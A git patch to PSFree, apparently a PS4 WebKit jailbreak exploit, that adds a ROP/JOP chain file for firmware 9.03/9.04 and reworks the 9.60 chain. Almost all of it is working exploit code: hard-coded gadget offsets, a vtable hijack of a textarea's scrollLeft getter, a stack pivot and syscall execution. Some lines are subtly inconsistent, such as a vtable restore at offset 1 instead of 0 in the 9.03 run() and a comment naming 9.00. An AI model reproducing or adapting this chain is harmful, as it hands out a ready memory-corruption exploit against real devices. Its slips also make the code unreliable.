From 4053af567adc8138125f117f47bf479266da9b26 Mon Sep 17 00:00:00 2001 From: Kameleon <77245601+kmeps4@users.noreply.github.com> Date: Sat, 27 Jan 2024 23:05:05 -0600 Subject: [PATCH] Added 903 ROP & 960 Fix By h3 --- exploit.mjs | 7 +- rop/903.mjs | 670 ++++++++++++++++++++++++++++++++++++++++++++++++++++ rop/960.mjs | 191 +++++++-------- 3 files changed, 764 insertions(+), 104 deletions(-) create mode 100644 rop/903.mjs diff --git a/exploit.mjs b/exploit.mjs index 53d809c..5037b3a 100644 --- a/exploit.mjs +++ b/exploit.mjs @@ -708,11 +708,16 @@ async function get_ready() { //on 9.00 Fw detection changed to laystation insead of regular Playstation UA = navigator.userAgent.substring(navigator.userAgent.indexOf('5.0 (') + 19, navigator.userAgent.indexOf(') Apple')).replace("layStation 4/",""); - if (UA == "9.00" || UA == "9.03" || UA == "9.04") + if (UA == "9.00") { import('./rop/900.mjs'); } + if (UA == "9.03" || UA == "9.04") + { + import('./rop/903.mjs'); + } + if (UA == "9.50" || UA == "9.51" || UA == "9.60") { import('./rop/960.mjs'); diff --git a/rop/903.mjs b/rop/903.mjs new file mode 100644 index 0000000..785c1f1 --- /dev/null +++ b/rop/903.mjs @@ -0,0 +1,670 @@ +/* Copyright (C) 2024 anonymous + +This file is part of PSFree. + +PSFree is free software: you can redistribute it and/or modify +it under the terms of the GNU Affero General Public License as +published by the Free Software Foundation, either version 3 of the +License, or (at your option) any later version. + +PSFree is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU Affero General Public License for more details. + +You should have received a copy of the GNU Affero General Public License +along with this program. If not, see . */ + +// by janisslsm (John) from ps4-dev discord + +import * as config from './config.mjs'; + +import { Int } from './module/int64.mjs'; +import { debug_log, align, die } from './module/utils.mjs'; +import { Addr, mem } from './module/mem.mjs'; +import { KB, MB } from './module/constants.mjs'; +import { ChainBase } from './module/chain.mjs'; + +import { + make_buffer, + find_base, + get_view_vector, + resolve_import, + init_syscall_array, +} from './module/memtools.mjs'; + +import * as rw from './module/rw.mjs'; +import * as o from './module/offset.mjs'; + +const origin = window.origin; +const port = '8000'; +const url = `${origin}:${port}`; + +const syscall_array = []; + +const offset_func_exec = 0x18; +const offset_textarea_impl = 0x18; +const offset_js_inline_prop = 0x10; + +// WebKit offsets of imported functions +const offset_wk_stack_chk_fail = 0x178; +const offset_wk_memcpy = 0x188; + +// libSceLibcInternal offsets +const offset_libc_setjmp = 0x24F04; +const offset_libc_longjmp = 0x29448; + +// see the disassembly of setjmp() from the dump of libSceLibcInternal.sprx +// +// int setjmp(jmp_buf) +// noreturn longjmp(jmp_buf) +// +// This version of longjmp() does not take another argument to be used as +// setjmp()'s return value. Offset 0 of the jmp_buf will be the restored +// rax. Change it if you want a specific value from setjmp() after the +// longjmp(). +const jmp_buf_size = 0xc8; +let setjmp_addr = null; +let longjmp_addr = null; + +// libSceNKWebKit.sprx +let libwebkit_base = null; +// libkernel_web.sprx +let libkernel_base = null; +// libSceLibcInternal.sprx +let libc_base = null; + +// Chain implementation based on Chain803. Replaced offsets that changed +// between versions. Replaced gadgets that were missing with new ones that +// won't change the API. +// +// gadgets for the JOP chain +// +// Why these JOP chain gadgets are not named jop1-3 and jop2-5 not jop4-7 is +// because jop1-5 was the original chain used by the old implementation of +// Chain803. Now the sequence is ta_jop1-3 then to jop2-5. +// +// When the scrollLeft getter native function is called on PS4 9.00, rsi is the +// JS wrapper for the WebCore textarea class. +const ta_jop1 = ` +mov rdi, qword ptr [rsi + 0x18] +mov rax, qword ptr [rdi] +call qword ptr [rax + 0xb8] +`; +// Since the method of code redirection we used is via redirecting a call to +// jump to our JOP chain, we have the return address of the caller on entry. +// +// ta_jop1 pushed another object (via the call instruction) but we want no +// extra objects between the return address and the rbp that will be pushed by +// jop2 later. So we pop the return address pushed by ta_jop1. +// +// This will make pivoting back easy, just "leave; ret". +const ta_jop2 = ` +pop rsi +jmp qword ptr [rax + 0x1c] +`; +const ta_jop3 = ` +mov rdi, qword ptr [rax + 8] +mov rax, qword ptr [rdi] +jmp qword ptr [rax + 0x30] +`; +// rbp is now pushed, any extra objects pushed by the call instructions can be +// ignored +const jop2 = ` +push rbp +mov rbp, rsp +mov rax, qword ptr [rdi] +call qword ptr [rax + 0x58] +`; +const jop3 = ` +mov rdx, qword ptr [rax + 0x18] +mov rax, qword ptr [rdi] +call qword ptr [rax + 0x10] +`; +const jop4 = ` +push rdx +jmp qword ptr [rax] +`; +const jop5 = 'pop rsp; ret'; + +// the ps4 firmware is compiled to use rbp as a frame pointer +// +// The JOP chain pushed rbp and moved rsp to rbp before the pivot. The chain +// must save rbp (rsp before the pivot) somewhere if it uses it. The chain must +// restore rbp (if needed) before the epilogue. +// +// The epilogue will move rbp to rsp (restore old rsp) and pop rbp (which we +// pushed earlier before the pivot, thus restoring the old rbp). +// +// leave instruction equivalent: +// mov rsp, rbp +// pop rbp +const rop_epilogue = 'leave; ret'; + +const webkit_gadget_offsets = new Map(Object.entries({ + 'pop rax; ret' : 0x0000000000051a12, + 'pop rbx; ret' : 0x00000000000be5d0, + 'pop rcx; ret' : 0x00000000000657b7, + 'pop rdx; ret' : 0x000000000000986c, + + 'pop rbp; ret' : 0x00000000000000b6, + 'pop rsi; ret' : 0x000000000001F4D6, + 'pop rdi; ret' : 0x0000000000319690, + 'pop rsp; ret' : 0x000000000004e293, + + 'pop r8; ret' : 0x00000000001a7ef1, + 'pop r9; ret' : 0x0000000000422571, + 'pop r10; ret' : 0x0000000000e9e1d1, + 'pop r11; ret' : 0x0000000000620df9, + + 'pop r12; ret' : 0x000000000085ec71, + 'pop r13; ret' : 0x00000000001da461, + 'pop r14; ret' : 0x000000000001f4d5, + 'pop r15; ret' : 0x000000000031968f, + + 'ret' : 0x0000000000000032, + 'leave; ret' : 0x000000000008db5b, + + 'neg rax; and rax, rcx; ret' : 0x00000000019771c4, + 'adc esi, esi; ret' : 0x000000000148874e, + 'add rax, rdx; ret' : 0x00000000003f662c, + 'push rsp; jmp qword ptr [rax]' : 0x0000000002bae87f, + 'add rcx, rsi; and rdx, rcx; or rax, rdx; ret' : 0x0000000001b1ed66, + 'pop rsi; jmp qword ptr [rax + 0x1c]' : 0x00000000021fce7e, + + 'mov qword ptr [rdi], rsi; ret' : 0x0000000000040300, + 'mov rax, qword ptr [rax]; ret' : 0x00000000000241cc, + 'mov qword ptr [rdi], rax; ret' : 0x000000000000613b, + 'mov dword ptr [rdi], eax; ret' : 0x000000000000613c, + 'mov rdx, rcx; ret' : 0x000000000157fe71, + + [jop2] : 0x0000000000683800, + [jop3] : 0x0000000000303906, + [jop4] : 0x00000000028bd332, + [jop5] : 0x000000000004e293, + + [ta_jop1] : 0x00000000004e62a4, + [ta_jop2] : 0x00000000021fce7e, + [ta_jop3] : 0x00000000019becb4, +})); + +const libc_gadget_offsets = new Map(Object.entries({ + 'neg rax; ret' : 0x00000000000d3f03, + 'mov rdx, rax; xor eax, eax; shl rdx, cl; ret' : 0x00000000000cefd9, + 'mov qword ptr [rsi], rcx; ret' : 0x00000000000cf982, + 'setjmp' : offset_libc_setjmp, + 'longjmp' : offset_libc_longjmp, +})); + +const gadgets = new Map(); + +function get_bases() { + const textarea = document.createElement('textarea'); + const webcore_textarea = mem.addrof(textarea).readp(offset_textarea_impl); + const textarea_vtable = webcore_textarea.readp(0); + const libwebkit_base = find_base(textarea_vtable, true, true); + + const stack_chk_fail_import = + libwebkit_base + .add(offset_wk_stack_chk_fail) + ; + const stack_chk_fail_addr = resolve_import( + stack_chk_fail_import, + true, + true + ); + const libkernel_base = find_base(stack_chk_fail_addr, true, true); + + const memcpy_import = libwebkit_base.add(offset_wk_memcpy); + const memcpy_addr = resolve_import(memcpy_import, true, true); + const libc_base = find_base(memcpy_addr, true, true); + + return [ + libwebkit_base, + libkernel_base, + libc_base, + ]; +} + +function init_gadget_map(gadget_map, offset_map, base_addr) { + for (const [insn, offset] of offset_map) { + gadget_map.set(insn, base_addr.add(offset)); + } +} + +class Chain903Base extends ChainBase { + constructor() { + super(); + + // for conditional jumps + this._clean_branch_ctx(); + this.flag = new Uint8Array(8); + this.flag_addr = get_view_vector(this.flag); + this.jmp_target = new Uint8Array(0x100); + rw.write64(this.jmp_target, 0x1c, this.get_gadget(jop4)); + rw.write64(this.jmp_target, 0, this.get_gadget(jop5)); + + // for save/restore + this.is_saved = false; + const jmp_buf_size = 0xc8; + this.jmp_buf = new Uint8Array(jmp_buf_size); + this.jmp_buf_p = get_view_vector(this.jmp_buf); + } + + // sequence to pivot back and return + push_end() { + this.push_gadget(rop_epilogue); + } + + check_is_branching() { + if (this.is_branch_ctx) { + throw Error('chain is still branching, end it before running'); + } + } + + push_value(value) { + super.push_value(value); + + if (this.is_branch_ctx) { + this.branch_position += 8; + } + } + + _clean_branch_ctx() { + this.is_branch_ctx = false; + this.branch_position = null; + this.delta_slot = null; + this.rsp_slot = null; + this.rsp_position = null; + } + + clean() { + super.clean(); + this._clean_branch_ctx(); + this.is_saved = false; + } + + // Use start_branch() and end_branch() to delimit a ROP chain that will + // conditionally execute. rax must be set accordingly before the branch. + // rax == 0 means execute the conditional chain. + // + // example that always execute the conditional chain: + // chain.push_gadget('mov rax, 0; ret'); + // chain.start_branch(); + // chain.push_gadget('pop rbx; ret'); // always executed + // chain.end_branch(); + start_branch() { + if (this.is_branch_ctx) { + throw Error('chain already branching, end it first'); + } + + // clobbers rax, rcx, rdi, rsi + // + // u64 flag = 0 if -rax == 0 else 1 + // *flag_addr = flag + this.push_gadget('pop rcx; ret'); + this.push_constant(-1); + this.push_gadget('neg rax; ret'); + this.push_gadget('pop rsi; ret'); + this.push_constant(0); + this.push_gadget('adc esi, esi; ret'); + this.push_gadget('pop rdi; ret'); + this.push_value(this.flag_addr); + this.push_gadget('mov qword ptr [rdi], rsi; ret'); + + // clobbers rax, rcx, rdi + // + // rax = *flag_addr + // rcx = delta + // rax = -rax & rcx + // *flag_addr = rax + this.push_gadget('pop rax; ret'); + this.push_value(this.flag_addr); + this.push_gadget('mov rax, qword ptr [rax]; ret'); + + // dummy value, overwritten later by end_branch() + this.push_gadget('pop rcx; ret'); + this.delta_slot = this.position; + this.push_constant(0); + + this.push_gadget('neg rax; and rax, rcx; ret'); + this.push_gadget('pop rdi; ret'); + this.push_value(this.flag_addr); + this.push_gadget('mov qword ptr [rdi], rax; ret'); + + // clobbers rax, rcx, rdx, rsi + // + // rcx = rsp_position + // rsi = rsp + // rcx += rsi + // rdx = rcx + // + // dummy value, overwritten later at the end of start_branch() + this.push_gadget('pop rcx; ret'); + this.rsp_slot = this.position; + this.push_constant(0); + + this.push_gadget('pop rsi; ret'); + this.push_value(this.stack_addr.add(this.position + 8)); + + // rsp collected here, start counting how much to perturb rsp + this.branch_position = 0; + this.is_branch_ctx = true; + + this.push_gadget('add rcx, rsi; and rdx, rcx; or rax, rdx; ret'); + this.push_gadget('mov rdx, rcx; ret'); + + // clobbers rax + // + // rax = *flag_addr + this.push_gadget('pop rax; ret'); + this.push_value(this.flag_addr); + this.push_gadget('mov rax, qword ptr [rax]; ret'); + + // clobbers rax + // + // rax += rdx + // new_rsp = rax + this.push_gadget('add rax, rdx; ret'); + + // clobbers rdi + // + // for debugging, save new_rsp to flag_addr so we can verify it later + this.push_gadget('pop rdi; ret'); + this.push_value(this.flag_addr); + this.push_gadget('mov qword ptr [rdi], rax; ret'); + + // clobbers rdx, rcx + // + // rdx = rax + this.push_gadget('pop rcx; ret'); + this.push_constant(0); + this.push_gadget('mov rdx, rax; xor eax, eax; shl rdx, cl; ret'); + + // clobbers rax, rdx, rsi, rsp + // + // rsp = rdx + this.push_gadget('pop rax; ret'); + this.push_value(get_view_vector(this.jmp_target)); + this.push_gadget('pop rsi; jmp qword ptr [rax + 0x1c]'); + this.push_constant(0); // padding for the push + + this.rsp_position = this.branch_position; + rw.write64(this.stack, this.rsp_slot, new Int(this.rsp_position)); + } + + end_branch() { + if (!this.is_branch_ctx) { + throw Error('can not end nonbranching chain'); + } + + const delta = this.branch_position - this.rsp_position; + rw.write64(this.stack, this.delta_slot, new Int(delta)); + this._clean_branch_ctx(); + } + + // clobbers rax, rdi, rsi + push_save() { + if (this.is_saved) { + throw Error('restore first before saving again'); + } + this.push_call(this.get_gadget('setjmp'), this.jmp_buf_p); + this.is_saved = true; + } + + // Force a push_restore() if at runtime you can ensure the save/restore + // pair line up. + push_restore(is_force=false) { + if (!this.is_saved && !is_force) { + throw Error('save first before restoring'); + } + // modify jmp_buf.rsp + this.push_gadget('pop rax; ret'); + const rsp_slot = this.position; + // dummy value, overwritten later at the end of push_restore() + this.push_constant(0); + this.push_gadget('pop rdi; ret'); + this.push_value(this.jmp_buf_p.add(0x38)); + this.push_gadget('mov qword ptr [rdi], rax; ret'); + + // modify jmp_buf.return_address + this.push_gadget('pop rax; ret'); + this.push_value(this.get_gadget('ret')); + this.push_gadget('pop rdi; ret'); + this.push_value(this.jmp_buf_p.add(0x80)); + this.push_gadget('mov qword ptr [rdi], rax; ret'); + + this.push_call(this.get_gadget('longjmp'), this.jmp_buf_p); + + // Padding as longjmp() pushes the rdi and return address in the + // jmp_buf at the target rsp. + this.push_constant(0); + this.push_constant(0); + const target_rsp = this.stack_addr.add(this.position); + + rw.write64(this.stack, rsp_slot, target_rsp); + this.is_saved = false; + } + + push_get_retval() { + this.push_gadget('pop rdi; ret'); + this.push_value(this.retval_addr); + this.push_gadget('mov qword ptr [rdi], rax; ret'); + } + + call(...args) { + if (this.position !== 0) { + throw Error('call() needs an empty chain'); + } + this.push_call(...args); + this.push_get_retval(); + this.push_end(); + this.run(); + this.clean(); + } + + syscall(...args) { + if (this.position !== 0) { + throw Error('syscall() needs an empty chain'); + } + this.push_syscall(...args); + this.push_get_retval(); + this.push_end(); + this.run(); + this.clean(); + } +} + +// Chain for PS4 9.00 +class Chain903 extends Chain903Base { + constructor() { + super(); + + const textarea = document.createElement('textarea'); + this.textarea = textarea; + const js_ta = mem.addrof(textarea); + const webcore_ta = js_ta.readp(0x18); + this.webcore_ta = webcore_ta; + // Only offset 0x1c8 will be used when calling the scrollLeft getter + // native function (our tests don't crash). + // + // This implies we don't need to know the exact size of the vtable and + // try to copy it as much as possible to avoid a crash due to missing + // vtable entries. + // + // So the rest of the vtable are free for our use. + const vtable = new Uint8Array(0x200); + const old_vtable_p = webcore_ta.readp(0); + this.vtable = vtable; + this.old_vtable_p = old_vtable_p; + + // 0x1b8 is the offset of the scrollLeft getter native function + rw.write64(vtable, 0x1b8, this.get_gadget(ta_jop1)); + rw.write64(vtable, 0xb8, this.get_gadget(ta_jop2)); + rw.write64(vtable, 0x1c, this.get_gadget(ta_jop3)); + + // for the JOP chain + const rax_ptrs = new Uint8Array(0x100); + const rax_ptrs_p = get_view_vector(rax_ptrs); + this.rax_ptrs = rax_ptrs; + + //rw.write64(rax_ptrs, 8, this.get_gadget(jop2)); + rw.write64(rax_ptrs, 0x30, this.get_gadget(jop2)); + rw.write64(rax_ptrs, 0x58, this.get_gadget(jop3)); + rw.write64(rax_ptrs, 0x10, this.get_gadget(jop4)); + rw.write64(rax_ptrs, 0, this.get_gadget(jop5)); + // value to pivot rsp to + rw.write64(this.rax_ptrs, 0x18, this.stack_addr); + + const jop_buffer = new Uint8Array(8); + const jop_buffer_p = get_view_vector(jop_buffer); + this.jop_buffer = jop_buffer; + + rw.write64(jop_buffer, 0, rax_ptrs_p); + + rw.write64(vtable, 8, jop_buffer_p); + } + + run() { + this.check_stale(); + this.check_is_empty(); + this.check_is_branching(); + + // change vtable + this.webcore_ta.write64(0, get_view_vector(this.vtable)); + // jump to JOP chain + this.textarea.scrollLeft; + // restore vtable + this.webcore_ta.write64(1, this.old_vtable_p); + } +} +const Chain = Chain903; + +function init(Chain) { + [libwebkit_base, libkernel_base, libc_base] = get_bases(); + + init_gadget_map(gadgets, webkit_gadget_offsets, libwebkit_base); + init_gadget_map(gadgets, libc_gadget_offsets, libc_base); + init_syscall_array(syscall_array, libkernel_base, 550 * KB); + debug_log('syscall_array:'); + debug_log(syscall_array); + Chain.init_class(gadgets, syscall_array); +} + +function test_rop(Chain) { + const jmp_buf = new Uint8Array(jmp_buf_size); + const jmp_buf_p = get_view_vector(jmp_buf); + + init(Chain); + + setjmp_addr = gadgets.get('setjmp'); + longjmp_addr = gadgets.get('longjmp'); + + const chain = new Chain(); + // Instead of writing to the jmp_buf, set rax here so it will be restored + // as the return value after the longjmp(). + chain.push_gadget('pop rax; ret'); + chain.push_constant(1); + chain.push_call(setjmp_addr, jmp_buf_p); + + chain.start_branch(); + + debug_log(`if chain addr: ${chain.stack_addr.add(chain.position)}`); + chain.push_call(longjmp_addr, jmp_buf_p); + + chain.end_branch(); + + debug_log(`endif chain addr: ${chain.stack_addr.add(chain.position)}`); + chain.push_end(); + + // The ROP chain is a noop. If we crashed, then we did something wrong. + alert('chain run'); + debug_log('test call setjmp()/longjmp()'); + chain.run() + alert('returned successfully'); + debug_log('returned successfully'); + debug_log('jmp_buf:'); + debug_log(jmp_buf); + debug_log(`flag: ${rw.read64(chain.flag, 0)}`); + + const state1 = new Uint8Array(8); + debug_log('test if rax == 0'); + chain.clean(); + + chain.push_gadget('pop rsi; ret'); + chain.push_value(get_view_vector(state1)); + chain.push_save(); + chain.push_gadget('pop rax; ret'); + chain.push_constant(0); + + chain.start_branch(); + chain.push_restore(); + + chain.push_gadget('pop rcx; ret'); + chain.push_constant(1); + chain.push_gadget('mov qword ptr [rsi], rcx; ret'); + chain.push_end(); + + chain.end_branch(); + + chain.push_restore(true); + chain.push_gadget('pop rcx; ret'); + chain.push_constant(2); + chain.push_gadget('mov qword ptr [rsi], rcx; ret'); + chain.push_end(); + + chain.run(); + debug_log(`state1 must be 1: ${state1}`); + if (state1[0] !== 1) { + die('if branch not taken'); + } + + const state2 = new Uint8Array(9); + debug_log('test if rax != 0'); + chain.clean(); + + chain.push_gadget('pop rsi; ret'); + chain.push_value(get_view_vector(state2)); + chain.push_save(); + chain.push_gadget('pop rax; ret'); + chain.push_constant(1); + + chain.start_branch(); + chain.push_restore(); + + chain.push_gadget('pop rcx; ret'); + chain.push_constant(1); + chain.push_gadget('mov qword ptr [rsi], rcx; ret'); + chain.push_end(); + + chain.end_branch(); + + chain.push_restore(true); + chain.push_gadget('pop rcx; ret'); + chain.push_constant(2); + chain.push_gadget('mov qword ptr [rsi], rcx; ret'); + chain.push_end(); + + chain.run(); + debug_log(`state2 must be 2: ${state2}`); + if (state2[0] !== 2) { + die('if branch taken'); + } + + debug_log('test syscall getuid()'); + chain.clean(); + // Set the return value to some random value. If the syscall worked, then + // it will likely change. + const magic = 0x4b4355467; + rw.write32(chain._return_value, 0, magic); + + chain.syscall('getuid'); + + debug_log(`return value: ${chain.return_value}`); + if (chain.return_value.low() === magic) { + die('syscall getuid failed'); + } +} + +debug_log('Chain903'); +test_rop(Chain); diff --git a/rop/960.mjs b/rop/960.mjs index 0b149cc..80f3362 100644 --- a/rop/960.mjs +++ b/rop/960.mjs @@ -17,13 +17,13 @@ along with this program. If not, see . */ // by janisslsm (John) and barooney from ps4-dev discord -import * as config from '../config.mjs'; +import * as config from './config.mjs'; -import { Int } from '../module/int64.mjs'; -import { debug_log, die } from '../module/utils.mjs'; -import { Addr, mem } from '../module/mem.mjs'; -import { KB, MB } from '../module/constants.mjs'; -import { ChainBase } from '../module/chain.mjs'; +import { Int } from './module/int64.mjs'; +import { debug_log, align, die } from './module/utils.mjs'; +import { Addr, mem } from './module/mem.mjs'; +import { KB, MB } from './module/constants.mjs'; +import { ChainBase } from './module/chain.mjs'; import { make_buffer, @@ -31,10 +31,10 @@ import { get_view_vector, resolve_import, init_syscall_array, -} from '../module/memtools.mjs'; +} from './module/memtools.mjs'; -import * as rw from '../module/rw.mjs'; -import * as o from '../module/offset.mjs'; +import * as rw from './module/rw.mjs'; +import * as o from './module/offset.mjs'; const origin = window.origin; const port = '8000'; @@ -42,7 +42,9 @@ const url = `${origin}:${port}`; const syscall_array = []; +const offset_func_exec = 0x18; const offset_textarea_impl = 0x18; +const offset_js_inline_prop = 0x10; // WebKit offsets of imported functions const offset_wk_stack_chk_fail = 0x178; @@ -74,47 +76,56 @@ let libc_base = null; // Chain implementation based on Chain803. Replaced offsets that changed // between versions. Replaced gadgets that were missing with new ones that // won't change the API. - +// // gadgets for the JOP chain // +// Why these JOP chain gadgets are not named jop1-3 and jop2-5 not jop4-7 is +// because jop1-5 was the original chain used by the old implementation of +// Chain803. Now the sequence is ta_jop1-3 then to jop2-5. +// // When the scrollLeft getter native function is called on PS4 9.60, rsi is the // JS wrapper for the WebCore textarea class. -const jop1 = ` -mov rdi, qword ptr [rsi + 0x20] +const ta_jop1 = ` +mov rdi, qword ptr [rsi + 0x18] mov rax, qword ptr [rdi] -call qword ptr [rax + 0x28] +call qword ptr [rax + 0xb8] `; // Since the method of code redirection we used is via redirecting a call to // jump to our JOP chain, we have the return address of the caller on entry. // -// jop1 pushed another object (via the call instruction) but we want no extra -// objects between the return address and the rbp that will be pushed by jop3 -// later. So we pop the return address pushed by jop1. +// ta_jop1 pushed another object (via the call instruction) but we want no +// extra objects between the return address and the rbp that will be pushed by +// jop2 later. So we pop the return address pushed by ta_jop1. // // This will make pivoting back easy, just "leave; ret". -const jop2 = ` +const ta_jop2 = ` pop rsi cmc jmp qword ptr [rax + 0x7c] `; +const ta_jop3 = ` +mov rdi, qword ptr [rax + 8] +mov rax, qword ptr [rdi] +jmp qword ptr [rax + 0x30] +`; // rbp is now pushed, any extra objects pushed by the call instructions can be // ignored -const jop3 = ` +const jop2 = ` push rbp mov rbp, rsp mov rax, qword ptr [rdi] call qword ptr [rax + 0x58] `; -const jop4 = ` +const jop3 = ` mov rdx, qword ptr [rax + 0x18] mov rax, qword ptr [rdi] call qword ptr [rax + 0x10] `; -const jop5 = ` +const jop4 = ` push rdx jmp qword ptr [rax] `; -const jop6 = 'pop rsp; ret'; +const jop5 = 'pop rsp; ret'; // the ps4 firmware is compiled to use rbp as a frame pointer // @@ -130,11 +141,6 @@ const jop6 = 'pop rsp; ret'; // pop rbp const rop_epilogue = 'leave; ret'; -const push_rdx_jmp = ` -push rdx -jmp qword ptr [rax] -`; - const webkit_gadget_offsets = new Map(Object.entries({ 'pop rax; ret' : 0x0000000000011c46, 'pop rbx; ret' : 0x0000000000013730, @@ -161,23 +167,25 @@ const webkit_gadget_offsets = new Map(Object.entries({ 'neg rax; and rax, rcx; ret' : 0x00000000014d2af4, 'adc esi, esi; ret' : 0x00000000004fd968, 'add rax, rdx; ret' : 0x00000000006d1a88, + 'push rsp; jmp qword ptr [rax]' : 0x0000000002c80f76, 'add rcx, rsi; and rdx, rcx; or rax, rdx; ret' : 0x00000000008e6b06, 'pop rsi ; cmc ; jmp qword ptr [rax + 0x7c]' : 0x0000000002bf3741, 'mov qword ptr [rdi], rsi; ret' : 0x00000000000b2350, 'mov rax, qword ptr [rax]; ret' : 0x000000000000c671, 'mov qword ptr [rdi], rax; ret' : 0x0000000000010c07, + 'mov dword ptr [rdi], eax; ret' : 0x00000000000071d0, 'mov rdx, rcx; ret' : 0x0000000000b9cb04, 'mov qword ptr [rsi], rcx; ret' : 0x000000000012a5ca, - [push_rdx_jmp] : 0x00000000002b7a9c, + [jop2] : 0x00000000001a75a0, + [jop3] : 0x000000000035fc94, + [jop4] : 0x00000000002b7a9c, + [jop5] : 0x00000000000253e0, - [jop1] : 0x0000000001b0ad6f, - [jop2] : 0x0000000002bf3741, - [jop3] : 0x00000000001a75a0, - [jop4] : 0x000000000035fc94, - [jop5] : 0x00000000002b7a9c, - [jop6] : 0x00000000000253e0, + [ta_jop1] : 0x000000000060fd94, + [ta_jop2] : 0x0000000002bf3741, + [ta_jop3] : 0x000000000181e974, })); const libc_gadget_offsets = new Map(Object.entries({ @@ -199,11 +207,15 @@ function get_bases() { libwebkit_base .add(offset_wk_stack_chk_fail) ; - const stack_chk_fail_addr = resolve_import(stack_chk_fail_import); + const stack_chk_fail_addr = resolve_import( + stack_chk_fail_import, + true, + true + ); const libkernel_base = find_base(stack_chk_fail_addr, true, true); const memcpy_import = libwebkit_base.add(offset_wk_memcpy); - const memcpy_addr = resolve_import(memcpy_import); + const memcpy_addr = resolve_import(memcpy_import, true, true); const libc_base = find_base(memcpy_addr, true, true); return [ @@ -219,9 +231,6 @@ function init_gadget_map(gadget_map, offset_map, base_addr) { } } -// helper object for ROP -const rop_ta = document.createElement('textarea'); - class Chain960Base extends ChainBase { constructor() { super(); @@ -231,8 +240,8 @@ class Chain960Base extends ChainBase { this.flag = new Uint8Array(8); this.flag_addr = get_view_vector(this.flag); this.jmp_target = new Uint8Array(0x100); - rw.write64(this.jmp_target, 0x7c, this.get_gadget(push_rdx_jmp)); - rw.write64(this.jmp_target, 0, this.get_gadget('pop rsp; ret')); + rw.write64(this.jmp_target, 0x7c, this.get_gadget(jop4)); + rw.write64(this.jmp_target, 0, this.get_gadget(jop5)); // for save/restore this.is_saved = false; @@ -451,8 +460,6 @@ class Chain960Base extends ChainBase { this.push_end(); this.run(); this.clean(); - - return this.return_value; } syscall(...args) { @@ -464,76 +471,49 @@ class Chain960Base extends ChainBase { this.push_end(); this.run(); this.clean(); - - return this.return_value; } } // Chain for PS4 9.60 -class Chain950 extends Chain960Base { +class Chain960 extends Chain960Base { constructor() { super(); - // sizeof JSC:JSObject, the JSCell + the butterfly field - const js_size = 0x10; - // sizeof WebCore::JSHTMLTextAreaElement, subclass of JSObject - const js_ta_size = 0x20; - // start of the array of inline properties (JSValues) - const offset_js_inline_prop = 0x10; - // Sizes may vary between webkit versions so we just assume a size - // that we think is large enough for all of them. - const vtable_size = 0x1000; - const webcore_ta_size = 0x180; - - const ta_clone = {}; - this.ta_clone = ta_clone; - const clone_p = mem.addrof(ta_clone); - const ta_p = mem.addrof(rop_ta); - - for (let i = js_size; i < js_ta_size; i += 8) { - clone_p.write64(i, ta_p.read64(i)); - } - - const webcore_ta = ta_p.readp(offset_textarea_impl); - const m_wrapped_clone = new Uint8Array( - make_buffer(webcore_ta, webcore_ta_size) - ); - this.m_wrapped_clone = m_wrapped_clone; - - // Replicate the vtable as much as possible or else the garbage - // collector will crash. It uses functions from the vtable. + const textarea = document.createElement('textarea'); + this.textarea = textarea; + const js_ta = mem.addrof(textarea); + const webcore_ta = js_ta.readp(0x18); + this.webcore_ta = webcore_ta; + // Only offset 0x1c8 will be used when calling the scrollLeft getter + // native function (our tests don't crash). // - // There is no need to restore the original vtable pointer later since - // it points to a copy with only offset 0x1c8 changed. The scrollLeft - // getter is not used by the GC. - const vtable_clone = new Uint8Array( - make_buffer(webcore_ta.readp(0), vtable_size) - ); - this.vtable_clone = vtable_clone - - clone_p.write64( - offset_textarea_impl, - get_view_vector(m_wrapped_clone), - ); - rw.write64(m_wrapped_clone, 0, get_view_vector(vtable_clone)); - - clone_p.write64(0, ta_p.read64(0)); + // This implies we don't need to know the exact size of the vtable and + // try to copy it as much as possible to avoid a crash due to missing + // vtable entries. + // + // So the rest of the vtable are free for our use. + const vtable = new Uint8Array(0x200); + const old_vtable_p = webcore_ta.readp(0); + this.vtable = vtable; + this.old_vtable_p = old_vtable_p; // 0x1b8 is the offset of the scrollLeft getter native function - rw.write64(vtable_clone, 0x1b8, this.get_gadget(jop1)); + rw.write64(vtable, 0x1b8, this.get_gadget(ta_jop1)); + rw.write64(vtable, 0xb8, this.get_gadget(ta_jop2)); + rw.write64(vtable, 0x7c, this.get_gadget(ta_jop3)); // for the JOP chain const rax_ptrs = new Uint8Array(0x100); const rax_ptrs_p = get_view_vector(rax_ptrs); this.rax_ptrs = rax_ptrs; - rw.write64(rax_ptrs, 0x28, this.get_gadget(jop2)); - rw.write64(rax_ptrs, 0x7c, this.get_gadget(jop3)); - rw.write64(rax_ptrs, 0x58, this.get_gadget(jop4)); - rw.write64(rax_ptrs, 0x10, this.get_gadget(jop5)); - rw.write64(rax_ptrs, 0, this.get_gadget(jop6)); + //rw.write64(rax_ptrs, 8, this.get_gadget(jop2)); + rw.write64(rax_ptrs, 0x30, this.get_gadget(jop2)); + rw.write64(rax_ptrs, 0x58, this.get_gadget(jop3)); + rw.write64(rax_ptrs, 0x10, this.get_gadget(jop4)); + rw.write64(rax_ptrs, 0, this.get_gadget(jop5)); // value to pivot rsp to - rw.write64(rax_ptrs, 0x18, this.stack_addr); + rw.write64(this.rax_ptrs, 0x18, this.stack_addr); const jop_buffer = new Uint8Array(8); const jop_buffer_p = get_view_vector(jop_buffer); @@ -541,7 +521,7 @@ class Chain950 extends Chain960Base { rw.write64(jop_buffer, 0, rax_ptrs_p); - clone_p.write64(offset_js_inline_prop + 8*2, jop_buffer_p); + rw.write64(vtable, 8, jop_buffer_p); } run() { @@ -549,11 +529,15 @@ class Chain950 extends Chain960Base { this.check_is_empty(); this.check_is_branching(); + // change vtable + this.webcore_ta.write64(0, get_view_vector(this.vtable)); // jump to JOP chain - this.ta_clone.scrollLeft; - } + this.textarea.scrollLeft; + // restore vtable + this.webcore_ta.write64(0, this.old_vtable_p); + } } -const Chain = Chain950; +const Chain = Chain960; function init(Chain) { [libwebkit_base, libkernel_base, libc_base] = get_bases(); @@ -673,12 +657,13 @@ function test_rop(Chain) { const magic = 0x4b435546; rw.write32(chain._return_value, 0, magic); - const res = chain.syscall('getuid'); + chain.syscall('getuid'); - debug_log(`return value: ${res}`); - if (res.eq(magic)) { + debug_log(`return value: ${chain.return_value}`); + if (chain.return_value.low() === magic) { die('syscall getuid failed'); } } -test_rop(Chain); \ No newline at end of file +debug_log('Chain960'); +test_rop(Chain);